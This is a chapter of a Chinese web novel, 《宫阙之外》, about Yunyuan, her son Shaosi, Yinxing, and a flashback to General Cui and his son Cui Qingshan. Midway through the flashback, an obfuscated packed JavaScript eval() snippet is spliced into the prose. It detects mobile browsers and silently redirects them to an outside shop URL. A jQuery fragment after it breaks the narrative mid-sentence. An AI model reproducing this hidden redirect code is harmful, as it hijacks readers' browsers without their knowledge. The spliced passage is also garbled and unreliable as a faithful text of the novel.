64. 不过旧时风

作品:《宫阙之外

    “谬赞谬赞。”


    少寺拱手毫不客气,又拿起酒喝了一口。寒冬过去了之后,他的身子骨已经好了不少了,用着云缘给的药方子,身手比往年还要轻捷些,更会做些上窜下跳的事。


    云缘遥遥地向饮行颔首,抱臂靠在泊学的墙边等少寺回去。她长发半挽,是依旧含笑的模样。墙外头顶,有鲜红的山花大朵大朵开放。


    饮行对云缘回了礼,又看向少寺。这个冬天他长得尤为快,个子更为高挺,眉眼间也有了锋芒毕露的味。


    “传言不假,你长得很像她。”


    少寺拍了拍饮行的肩膀,起身掸了掸袖上的灰。云缘见到他站起来也转身往山下走,想这死小子终于瞧见天色已晚,该吃饭了。


    在某人来之前,云缘只会做些最简单的饭食果个腹。某人带着小的来了之后,她就尝到了阔别已久的珍馐美味。如今某人走了,剩下个小的,倒是自觉一直做着饭。


    看到如今少寺束着袖添柴火的样,云缘就笑了。


    儿子和他爹手艺一样好。


    少寺淘米时才将一直疑惑的问题抛给云缘,问她:“饮行是什么意思?”


    云缘正洗着果子,未曾多想,随口为他解惑:“我与崔青山的父亲一同辅佐过你爷爷。”


    少寺嗯了一声,佯装平静。云缘起初未曾觉得有些不妥,洗完后果子后准备给少寺扔一个,却发现他拿着柴良久不动。


    云缘这才品出了一点,她的幺儿不自在了。


    少寺确实未曾想到,他娘会如此平静地对自己揭开她的过往。毕竟在他父皇那里,有关云缘之事,圣穆帝并不会在他和辛桓跟前多说一个字,包括阖宫上下。


    云缘悄悄走到他身后,揉着他的头,少寺感觉到了,转头面无表情看着她。


    云缘这下见此,更确定了,他真不自在了。因为他爹也这样,被人踩住了尾巴,大多会装作若无其事。


    她突得就想起了一些事,对他儿挑眉:“怎么了,不是去了李怀居那里打听还不清楚我的事?我记着,以他的性子,肯定存着大邑的官吏卷,还没从他那里看到?啧,你也太不中用了。”


    少寺表情一言难尽。


    头一次觉得这夫妇俩没一个省油的灯。


    云缘乐不可支,不逗他了,给少寺递了一个果子,少寺不想理她。


    巴山夜雨,共剪窗烛,人间的夫妻总会坐着闲话许多事情。家长里短,生意收成,掰着指头数着流年地过着日子。


    赵位在碧落村时,他们倒也像对正经的夫妻一样说着许多东西,理着许多事情。


    前些日子赵位常看一些前朝大儒所著的教养论,云缘瞅过几眼有些印象,她一向奉行着顺其自然,但也从不会干涉赵位去做什么。


    赵位其实颇为苦恼如何教养少寺,辛桓是储君,理所应当从小严格了一些。但是对着少寺这个幼子,身弱又似爱妻,他也承认确实多有溺爱,让少寺为所欲为了些,到如今有了无法无天的样。


    可最后直到走前也未曾实施过,看着他爱跟在云缘后头,又想着无碍便好。


    云缘抛着手里的果子玩。


    “想知道原因?来,叫一声娘听听。”


    少寺懒得搭理她。


    话说,这还得从崔青山他爹崔老将说起。崔老将临死的前一年,崔青山还在边塞,未立功业,生死不明。


    崔老将那时候已经成了老得缩成半截身子的人。人有时忙起来就会忘记许多事,觉得自己还孔武有力,壮似青年,打遍天下无敌手,可是等着闲下来时,晒着太阳都会觉得跟在冰上一样,那命就跟沙一样流得让你心惊。


    明明跟着圣穆帝那小儿打完仗不过几年,崔老将的牙和本来就没几根的白头发竟都掉得干干净净,说起话来含糊不清还会流口水。他有时候会惆怅。这是所有老得掉牙人的通病,哭哭笑笑,一想到跟他同龄的那群武将们早已经快死光了就自己还活着的乐,乐完了就口水混着眼泪掉。


    崔老将有个死对头,这死对头也是个跟崔老将一样命硬的。他的妻女在哀帝时被流放,流放时遇上了逆贼全族都被砍死在路上。所以这老东西后半生拼着一口气跟在新帝身边,只为着有朝一日平自己的冤情。


    老东西常笑话崔老将,说崔老将的儿子是个废物,不如他女儿。


    他女儿在那场流放中为护着他的妻,被逆贼活活捅死。


    崔老将老了就听不得这种故事,一把鼻涕一把泪地也在老东西跟前骂崔青山,骂孽障骂畜生骂他废物感叹天要亡他崔氏。


    老东西和崔老将常坐在一起晒太阳,他们两个都是名声远扬无人不知的大将军,常有无数个后辈的小将拜访。


    崔老将以为他会死在老东西前头,毕竟这狗孙子杀敌杀了一辈子,彪悍如虎,老了也比崔老将壮实。


    最后却意外死地却比崔老将早。


    新帝平反了老东西冤情的那一日,跟以往崔老将活着的每一日都差不多,麻雀照样叫,太阳照样晒死人不偿命。


    唯一不同便是那冤情被平反了,这冤长达数十年,什么千古罪人,罪大恶极,通敌叛国此后不复存在,甚至变为佳话,让老东西流芳千古。


    可老东西却死了,万人唾骂名垂青史他不在乎,他都咬牙挺了过来,他只惦记着自己的妻女,这一惦记,就不小心老了,就故意死了。


    听吊唁回来的老管家说,这老家伙用剑抹了脖子,娘们唧唧的,血飙了三尺高。


    崔老将听说了后拍手叫好,大笑,这老东西还骂自己,不是同样也没有出息。


    没出息啊没出息。


    然后崔老将就寂寞了,日头一日一日地在下沉,每日都有生死轮回在演替。老人觉得自己还能像只燕展翅一把,拿了那把跟了自己一生却放了三年的剑,动着胳膊舞,像扑棱蛾子一样好笑。


    他最后看那剑时,觉得真他娘的废物,不过就三年,为何就生了斑斑锈迹?


    千里之外的黄沙历经完一场恶战后,崔青山正用帕子拭干剑上的血迹。


    远处快马加鞭送来急报。


    有士兵将其呈于崔青山的跟前。


    一份是崔老将的丧报,上面写新帝大恸,举国同丧,另一份是一封信。


    崔小将扯嘴角,用火折子全部点燃。这个男子有风流有俊美,这几年生出了塞外特有的豪壮,像长枪一样锐利。不远处有一女子站着,专注地望着他,这女子的额发遮住了半张脸。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859517|178890||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她柔情,轻声唤:“崔郎?”


    崔青山抬眼,一望无际黄沙漫天飞,他握紧了手中的剑,冷漠道:“无碍。”


    崔老将实在没什么文化,早年就不爱读书,也不爱写字,老了抓耳挠腮就写了这么个东西。


    “儿啊,爹他娘的豁出去个老命就给你求了这么个东西,你省着点用啊。一块金疙瘩,就那个什么免死金牌……”


    这牌确实被崔青山用得好,用得让天子忍无可忍,杀心四溢,想撅了崔老将的坟,问问他干得是不是人事。


    崔青山被暗卫秘密压入乾政殿时,面前被圣穆帝赐下一把剑和一杯毒酒。


    不是让他选,而是让他拿着剑去弥补自己犯下的过错,弥补完后再喝下那一杯毒酒。


    天子因着崔老将,已经对着崔青山仁至义尽,欺君隐瞒敌情不报,藏匿余孽不说,还未曾算数次单独私自率兵,这些哪个单拎出来不是死罪,崔氏九族都不够数来凑。


    横竖都是死,崔青山心一横,用了他老子留下的第二句话。


    “帝妃者,云寒衣也。”


    圣穆帝听罢,反问崔青山:“你在威胁朕?”


    崔青山鱼死网破,心想:你媳妇儿还大着肚子呢,你选一个,你让我死,赶明儿不管云寒衣还是郑尧期,就不仅仅是个前朝皆知的名字了,你就等着焦头烂额被那群你养的死谏臣骂死吧,要不就一个个排着队往乾政殿的柱子前撞,看他们头铁还是柱子硬。


    崔青山既话已出口,便是做好了万全的准备。


    夜深,风过蔷薇。这些日子热,太极殿常门窗大开。圣穆帝回来时,榻上人已经熟睡,踢了薄被,他往上掖了掖被角,又俯身吻吻她,眼里不自觉有笑意。


    这是他的第一个孩子。


    旦日,帝京有一件笑话事。崔国公又喝了花酒,应是和有夫之妇有了首尾,不知被谁扒光衣服打了一顿扔在市集。


    ……


    饮行在得知王淡艳瞎眼的那晚,找到了云缘。


    “我知道你是谁。”


    云缘停下了手中的绣活,意有所指看他,问他:“不愿意装了?”


    饮行目光炯炯。


    他从一开始确实不熟悉云缘,但他曾经见过圣穆帝,崔青山病后天子慰问时,他混在崔府的奴仆中曾远远看过一眼,加之崔二郎惧怕于他,他便隐隐有了猜测。


    饮行这一生很多时候都在穷途末路,被十八娘抛在崔青山身旁,被崔青山扔在碧落村,被杜夫子冠上给那个未出生的孩子的名字。于是他做了三郎,做了饮行,做了任何人,唯独不是他自己。


    他沉默寡言地像哑巴,很少会像今日一样说这么多话。


    他说:“这么多年您容貌如初,绝非常人,既如此,应是有异术。”


    “您千方百计来饮行身边,只怕是别有目的。”


    “您医好她的眼,饮行这一条命任您处置。”


    云缘闻此,终成目的,问他:“若我也没法子,你当如何?”


    饮行无喜无悲,只道:“那便此后无论如何,我都会杀了你。”


    云缘挑眉,闭嘴。


    行吧。


    不过一对鸳鸯浮水中,一个不愿打,一个又愿挨。